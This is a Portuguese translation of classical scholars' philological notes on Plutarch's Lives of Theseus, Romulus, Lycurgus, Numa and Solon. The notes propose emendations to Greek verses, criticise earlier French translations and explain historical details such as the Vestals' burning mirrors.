Sobre as vidas de TESEU, RÔMULO, LICURGO, NUMA, SÓLON de Plutarco

Sobre as vidas de TESEU, RÔMULO, LICURGO, NUMA, SÓLON de Plutarco

OBSERVAÇÕES SOBRE AS VIDAS PARALELAS DE PLUTARCO

Observações de Clavier, Vauvilliers e Brotier para as Vidas de Plutarco.

SOBRE A VIDA DE TESEU

CAP. XXVI. Trazei-lhe pão saboroso. Amyot não entendeu esses versos, que são muito difíceis de explicar de maneira satisfatória. Eis como acredito se possam traduzir:

— "A Iresione (o ramo sagrado) traz figos e pão saborosos; traz mel num vaso, óleo para esfregar o corpo e uma copa de vinho puro, para adormecer depois de estar inebriada."

Eu li no primeiro verso com Eustátio, sobre Homero, página 1283, phérei em lugar de phérein; mas não entendo o terceiro verso e não sei o que se relaciona com os an methyoysa katheyde, pela qual ela adormece depois de estar inebriada. Dacier traduz: E as velhas encontram em ti esse doce néctar com o qual se inebriam e que as adormece. Não sei de onde êle tirou isso, pois não se trata de velhas no texto. É provável que’ esses versos não sejam senão o fragmento de um poema mais considerável e que esse último verso tenha relação com os que se perderam. C.

CAP. XXX. Peloponeso é para o Sol poente. Amyot foi torturado pela rima e pelo verso. A inscrição da coluna trazia na face oriental:

Aqui não é o Peloponeso, mas a Jônia.

E na face ocidental:

Aqui é o Peloponeso e não a Jônia.

O imperador Adriano imitou essa inscrição naquela que se vê ainda em Atenas sobre o monumento que erigiu entre a antiga e a nova cidade. De um lado: Aqui é Atenas, a antiga cidade de Teseu, e do Quatro Aqui é a cidade de Adriano, e não a de Teseu.

SOBRE A VIDA DE RÓMULO

CAP. XXVI.. Tarpéia, a jovem que morava então, etc.

Eis como esses versos devem ser traduzidos:

"Sobre o cimo do Capitólio morava Tarpéia, que fêz tomar Roma; pois que, na esperança de esposar o rei dos Celtas, entregou-lhe a casa do próprio pai."

Amyot afastou-se ainda mais do sentido nos versos que seguem, que Dacier traduziu muito bem:

-Os Bóios e os Celtas não a enterraram para além do Pó e não cortaram os cabelos sobre o seu sepulcro; mas atiraram sobre a infeliz os seus broquéis, que foram os únicos ornamentos de seu túmulo."

Observarei que Dacier leu no texto:

reíthron ektos ethento Pádoy,

lição que Reiske diz ter encontrado numa das edições de Aldo e que eu acredito a melhor; os Gauleses estavam para além do Pó, relativamente à Itália; e o poeta queria dizer com isso que o rei dos Celtas não a levara para o seu país. C.

CAP. XXX. As legiões de seis mil homens a pé. Não foi senão em tempos bem posteriores a Rómulo, e muito raramente, que se viram legiões romanas compostas de seis mil homens. Que significa pois, aqui a observação de Plutarco? Ela mostra o que se fêz após a reunião dos Sabinos com os Romanos. Para se estabelecer perfeita igualdade entre as duas nações, a juntaram-se cem patrícios Sabinos aos cem patrícios Romanos. A mesma coisa se fêz no domínio militar. Os Sabinos tiveram também sua legião. Foi então que a legião reunida dos Sabinos e dos Romanos foi composta de seis mil homens a pé e seiscentos homens a cavalo.

CAP. XL. Os Toscanos se originaram dos Sardos. Sardes era a capital da Lídia. Tornou-se, sob os Romanos, uma Corte de Justiça muito extensa, que se chamava a Sardiana. Plínio, Hist. Nat- V, 9. Segundo Plutarco, os Toscanos vieram de Sardes; como vimos mais acima, cap. XXIII, os Sabinos descendiam dos Lacedemônios. O grito dos Sardos em leilão seria pois, do tempo de Rómulo. Outros, entretanto, pretendem que esse grito é mais recente e que não começou senão muitos séculos depois, quando a Sardenha foi tomada pelo cônsul Tibério Semprônio Graco. Gritou-se: Os Sardos em leilão, cada qual mais perverso do que o outro.

SOBRE A VIDA DE LICURGO

CAP. IX.. Depois que tiveres edificado um templo a Júpiter Silaniano e a Minerva Silaniana. Essa passagem é muito difícil de interpretar e, como está no dialeto dos Lacedemônios, que conhecemos pouco, não é fácil corrigir. Dacier propõe pôr Júpiter Selásio e Minerva Selasiana, porque Selásia era uma cidade da Lacônia, às margens do Eurotas; Bryant propõe se leia: Júpiter Helaniano e Minerva Helaniana. Os Lacedemônios descendiam, como se sabe, de Doro, filho de Helen," e eram mesmo, segundo Heródoto, livro I, parágrafo 56, os principais dos Dórios: não seria, pois surpreendente que as suas duas principais divindades conservassem nomes que lhes recordassem a origem; e, por pouco que se conheça a afeição dos Gregos por sua metrópole, seria estranho que assim não fosse. Eis, pois, como eu creio dever ler a passagem:

Dios Ellaníoy es Athenas Ellanías ieron idrysaménon, phylas phyláxanta, es obas abaxanta, triákonta geroysían syn archagétais katarésanta, oras ex oras apellázein metaxy Babykas te es Knakíonos, otos eisphézein; es aphisatho damo exoysían eimen es krátos.

E creio dever traduzi-lo assim: "Depois que tiveres edificado um templo a Júpiter Heleniano e a Minerva Heleniana, e dividido o povo em linhagens e em tribos, estabelecerás um Senado de trinta conselheiros, inclusive os dois reis, e reunirás o povo de tempos a tempos entre o Babício e o Cnácion; aí o Senado proporá as leis e o povo terá o direito de rejeitá-las."

Plutarco ajunta em seguida, à guisa de interpretação: "Phylas phylaxai, obas obaxai, é dividir o povo em diferentes porções, das quais umas se chamam phyla e as outras oba; os archagetae são os reis; apellázein é reunir o povo- Essa palavra vem de Apolo, porque a êle se devem os primórdios da ordem civil: Cnácion chama-se agora Oinonte; mas Aristóteles diz que o Cnácion era um rio e que o Babício era uma ponte.

O pouco espaço de que disponho não me permite justificar as modificações que introduzi e que estão de acordo com o que Plutarco diz um pouco mais abaixo. C.

CAP. XII. Repartir as terras. Um grande caráter, de grandes exemplos, poucas leis, mas gerais e sem exceção, fundadas sobre a igualdade, a estima da glória e o amor ao bem público, eis a arte de Licurgo; eis o que fêz a força da instituição lacedemônia e de todas as que se lhe aproximaram. Tais espécies de instituições são extremas: subsistem ou caem com suas leis. Foi o que levou Montesquieu a dizer: "Peço que se atente um pouco a extensão do gênio que foi necessário a esses legisladores para verem que, chocando todos òs usos recebidos, confundindo todas as virtudes, mostrariam ao universo sua sabedoria. Combinando o latrocínio com o espírito de justiça, a mais dura escravidão com a extrema liberdade, os sentimentos mais atrozes com a maior moderação, deu Licurgo estabilidade à sua cidade. Parecia tirar-lhe todoa os recursos, as artes, o comércio, o dinheiro, as muralhas: tem-se ali ambição sem esperança de melhorar; os sentimentos são naturais, sem que ninguém seja filho, nem marido, nem pai; o próprio pudor é tirado à castidade. Foi por esses caminhos que Esparta chegou à grandeza e à glória, mas com tal afalibilidade de suas instituições que não se obteria nada contra ela ganhando batalhas, se não se chegasse a tirar-lhe a polícia." Espírito das Leis, IV, 6.

CAP. XXV.. A freqüentarem as procissões, dançarem nuas, etc. Amyot não seguiu a lição recebida: gym-nás te polyteyein, o que poderia significar irem nuas pela cidade, embora eu não me lembre de ter visto em outra parte a palavra polyteyein empregada nesse sentido; aliás, não é verdade que elas andassem nuas pela cidade, e a passagem de Plutarco, que Bryant cita para apoiar a lição ordinária, não diz isso: vê-se aí somente que as moças de Esparta iam à cidade com vestidos abertos dos lados, deixando ver as coxas. (Paralelo entre Licurgo e Numa, cap. VI); mas não se trata, como aqui, de nudez absoluta.

Amyot parece ter lido pomoeyein, a julgar por sua tradução. Essa correção ocorreu também ao espírito de Bryant, que a apoiou com a passagem seguinte de Plutarco, Apophith. Lec. t. VI, página 849: memphoménon de tinon ten lymnosin ton parthénon en tais pampais- Alguns censuram o costume de andarem as moças nuas nas procissões, e ela é ainda melhor apoiada pelo que diz Plutarco, Vida de Licurgo, no capítulo seguinte: Ademais, era isso um estímulo que atraía os jovens ao casamento; assim entendo esses jogos, danças e divertimentos a que se entregavam as moças inteiramente nuas na presença dos rapazes. Plutarco emprega também aqui a palavra pompas, que Amyot tomou mal por jogos, quando significa procissões. Dacier encontrou num manuscrito pykteyein, e Salvino em outro palaíein. Essas duas lições não são más e significariam que elas lutavam inteiramente nuas; mas eu prefiro a lição seguida por Amyot. C.

CAP. XXXIX. Quanto a mim, sou de opinião que os Lacônios, etc- O sentido dessa passagem não foi apreendido por Amyot nem por alguns outros tradutores; eles não viram que Plutarco citou a resposta de Agis somente para fazer uma comparação entre as espadas dos Lacedemônios e os seus discursos. Eis como é preciso traduzi-la: "O rei Agis respondeu um dia a um Ateniense que zombava das espadas usadas pelos Lacedemônios, dizendo que qs saltimbancos e prestidigitadores as engoliam facilmente no teatro diante de toda a gente: E todavia, disse Agis, assim repelimos bem os nossos inimigos; do mesmo modo, sou de opinião que o discurso dos Lacedemônios é curto, mas atinge muito bem o objetivo e se faz entender muito bem pelos ouvintes." C.

CAP. XLVI. O rei sacrificava primeiramente às Musas, para recordar aos combatentes, como me parece, a disciplina na qual tinham sido educados e os julgamentos. Há no grego: anamimnéskon os eoike, tes paideías es ton Kríseon. Essa palavra Kríseon, que Amyot traduziu por julgamentos, não tem nenhum sentido: achou-se num manuscrito poiésecs, o que seria melhor; mas creio ser preciso ler reséon, sentenças: "para recordar aos combatentes a disciplina na qual tinham sido educado e as sentenças que lhes tinham ensinado." C.

SOBRE A VIDA DE NUMA

CAP. XVI. Mas a ponte de pedra. Amyot não é exato nessa passagem. Êle devia traduzir: "a ponte de pedra foi construída muito tempo depois pelo questor Emilio. Dizem mesmo que a ponte de madeira não existia no tempo de Numa e que foi construída depois, quando reinava seu sobrinho Márcio-" Essa ponte ficava ao pé do monte Aventino, perto do lugar que se chama agora Ripa Grande. Sob os imperadores, ela trazia ainda os nomes de Ponte de Madeira e Ponte Emílio. O rei Márcio é Anco Márcio, quarto rei dos Romanos.

CAP. XVII. Um vaso ôco, composto da costa de um triângulo. A descrição dos espelhos ardentes e do seu uso não é muito precisa nem bastante exata em Amyot. Eis o relato de Plutarco: "Se o fogo das vestais vem a extinguir-se, dizem eles que não se deve tornar a acendê-lo com outro fogo, mas fazer um novo, tirando do sol uma flama pura e nítida. Servem-se eles ordinariamente de vasos ocos, cuja superfície côncava é formada pelo lado de um triângulo retângulo isós-celes: tudo vai terminar da circunferência em um ponto. Quando esses vasos são colocados em face do sol, os raios, refletidos de todas as partes da circunferência, se reúnem, entre-misturando-se no ponto; eles sutilizam-se, dividem o ar: os raios que adquiriram pela reflexão a natureza e a ponta candente do fogo, queimam prontamente as matérias secas e áridas que se lhes apresentam." Esses espelhos ardentes eram de bronze. A ponta, ou o centro, como se exprime Plutarco, é o foco. A razão pela qual êle diz que se serviam ordinariamente desses espelhos é que havia outra maneira, talvez mais antiga, de fazer fogo. Ela é relatada por Festo. Tomava-se uma tábua de madeira, com atenção para que fosse madeira de bom augúrio. Friccionando-se violentamente essa tábua, fazia-se que pegasse fogo. Uma vestal recebia esse fogo num crivo de bronze. Tal maneira de fazer fogo foi encontrada em quase todas as nações selvagens. Dupuy publicou uma erudita memória sobre essa passagem de Plutarco. Mostra êle que esses espelhos não eram parabólicos, como o pretendeu Méziriac. Êle determina em geometria as vantagens dos vasos cónicos retangulares para a reflexão dos raios solares. Vide as Memórias da Academia das Inscrições, tomo XXXV, página 395.

CAP. XVIII. Como as mulheres que têm três filhos. As mulheres que tinham três filhos podiam fazer suas disposições sem intromissão de curador. Esse privilégio fôra-lhes concedido por Augusto para encorajar a população num estado exausto pelas guerras civis e que devia temer ainda os efeitos do luxo. É o que recorda Plutarco, falando do mesmo privilégio que Numa concedera outrora às vestais.

CAP. XXVII. Da raça dos Titãs. Os Titãs não têm nenhuma semelhança com os Sátiros. Mas Pã e todo o grupo dos Pãs muito se parecem com eles. Plutarco não fala, pois, da raça dos Titãs, mas dos Pãs. Há muito tempo que se notou que o desprezo era fácil em grego. Ter-se-á escrito Titánon, em lugar de Pánon.

CAP. XXXI. E fevereiro o duodécimo e último. Há aqui uma lacuna do texto, que induziu Amyot em erro. Lê-se, com efeito: dodékatos de es teleytaios, ó phebroyá-rios, o nyn deutero chrontai. É preciso ler: dodékatos en este-leytaios o phebroiarios o nyn deutero chrontai, isto é, e fevereiro, que era então o duodécimo e último, é desde aquele tempo o segundo. Sabemos,- com efeito, por Macróbio, Saturnales, 1. I, cap. XII, que Numa pôs o mês de fevereiro em segundo.

OBSERVAÇÕES SOBRE A COMPARAÇÃO ENTRE LICURGO E NUMA

CAP. VI, página 321. Essa passagem me parece corrompida; não sei, com efeito, como sé pode explicar este verso:

Thyraion amphi meron,

e surpreende-me que Walckenaer, que, em sua diatribe sobre os fragmentos de Eurípides, página 221, corrige, no primeiro verso, néorton, em lugar de neorgon, o que não me parece muito necessário, não diga nada sobre isso; Brunk, na coletânea dos fragmentos de Sófocles, também não diz mais. Creio que, em lugar de thyraion, é preciso ler araión, tenro, delicado (1), como em Homero, Iliada, canto V, verso 425; e é preciso traduzir: E Hermíona, que começa a sentir desejos, cuja saia ainda aberta dos dois lados, deixa ver as delicadas coxas. C-

(1) Assim, com efeito, traduz Carlos Alberto Nunes aquele termo grego, como se vê nos versos 424-425 do canto V de sua versão brasileira da Ilíada de Homero, editada por Petraccone: -Quando amimava uma dessas Aquivas de manto bem feito. A delicada mãozinha espetou na dourada fivela." — N. do ed. bras.

 

SOBRE A VIDA DE SÓLON

CAP. III. O mais rico não é quem tem ganância. Esses versos se acham citados por Estobeu, título 93 ou 97, seguindo a ordem estabelecida por Grócio, sob o nome de Teógnida, entre cujos versos se encontram, v. 719 e seg., exceto na edição de Brunk, que os restituiu a Sólon; e, como o fragmento é mais completo, julguei dever dar-lhe a tradução por inteiro:

Aquele que tem muito ouro e dinheiro, campos muito vastos, cavalos, mulas, não é mais rico do que aquele que tem justamente tudo o que lhe é preciso para ser bem nutrido, bem calçado e bem vestido, que é amado por alguns jovens rapazes ou algumas jovens mulheres, e que está ainda na idade de entregar-se aos prazeres de sua sociedade; eis aí a verdadeira riqueza, os outros bens são supérfluos, ninguém lhes resiste nos Infernos, e com presentes ninguém fica preservado da morte, nem das doenças, nem da velhice."

Horácio, que muito imitou os poetas gregos, apropriou-se desse pensamento de Sólon, em sua epístola 12, livro I, verso 5:

Si ventri bene, si lateri est pedibusque tuis, nil Divitiae poterunt regales addere majus. C.

CAP. XXIV. Eis aqui os versos aos quais Plutarco se contenta de fazer alusão e que Aristides nos conservou em seu discurso De Paraphthegmate, tomo il, página 397:

"Eu poderia com justiça invocar o testemunho da maior das divindades do Olimpo, a Terra, mãe de Saturno, de cuja superfície arranquei as inscrições que ali estavam colocadas por toda parte; ela era escrava, está agora livre; reconduzi à pátria vários Atenienses, dos quais uns tinham sido vendidos justa ou injustamente, outrcs tinham errado por tanto tempo nos países estrangeiros, dizendo a sorte para ganharem a vida, que chegaram a esquecer a língua ática; libertei outros que haviam sido entregues a escravidão no próprio seio da pátria e que tremiam então diante dos senhores; prometera eu fazer tudo isso e o fiz, empregando ao mesmo tempo a força e a justiça. Escrevi leis para punir o mau, favorecer o homem honesto e permitir se fizesse a cada um justiça pronta. Se tal autoridade tivesse sido confiada a algum avarento ou mal-intencionado, êle se teria entregue às suas paixões e não descansaria enquanto não agitasse o povo e não lhe arrebatasse o mais precioso de sua substância."

Devo observar que emendei o primeiro verso, que se lê assim em todas as edições, mesmo nas de Brunck, tanto em seus Analecta como em seus Poetae Gnomicis

Symmartyroín tayt an on dike chrónoy Meter megíse daimónon Olympíon.

Ali pus Kronoy, em lugar de Chrónoy, tempo e o relaciono com meter, porque a Terra é efetivamente a mãe de Saturno.

Li no vigésimo verso, com W. Canter, em suas notas sobre Aristides, publicadas por Reiske no quinto volume de suas Animadversiones ad Authores Graecos, oyk an cache thy-mon, em lugar de daimons: essa correção foi também adotada por Brunck, em seus Gnomici, e oferece um sentido muito melhor, como se verá no cap. XXVI. C.

CAP. XXVI. . É preciso pôr nessa passagem, como disse na observação sobre o cap. XXIV, thymon, e traduzir assim: Que ninguém com a mesma autoridade e poder, teria deixado de entregar-se às suas paixões e não teria repouso enquanto não agitasse o povo e não lhe tirasse o mais precioso de sua substância ou, literalmente, não o desnatasse, pois é positivamente o que significa pion exéte gála. C.

CAP. XLIV.. Não posso deixar de referir aqui, para justificação de Sólon, uma passagem de Lísias, em seu discurso sobre o homicídio, que nos permite conhecer com que espírito essa lei foi feita:

"Vós entendeis, cidadãos, a lei ordena que, se alguém viola um homem ou uma criança livre, pagará multa dobrada; e, se viola uma mulher casada, cujo sedutor é permitido matar, a lei não ordena senão a mesma multa: vedes por aí que o legislador encarou como menos puníveis aqueles que usam de violência do que aqueles que empregam a sedução; pois que pronunciou a morte contra uns, e somente multa dobrada contra os outros. Êle pensava com efeito que aqueles que usavam de violência se faziam ordinariamente detestar por aquelas para com as quais dela usavam, ao passo que aqueles que empregam a sedução corrompem de tal maneira o espírito daquelas que seduzem que elas lhes são mais afeiçoadas do que a seus esposos; que eles se tornam absolutamente senhores da casa e que não se pode saber a quem pertencem os filhos, ao marido ou ao sedutor." Lísias, página 34 e seg., tomo V, dos Oradores Gregos de Reiske.

Fonte: Edameris. Trad. de Pe. Vicente Peixoto.

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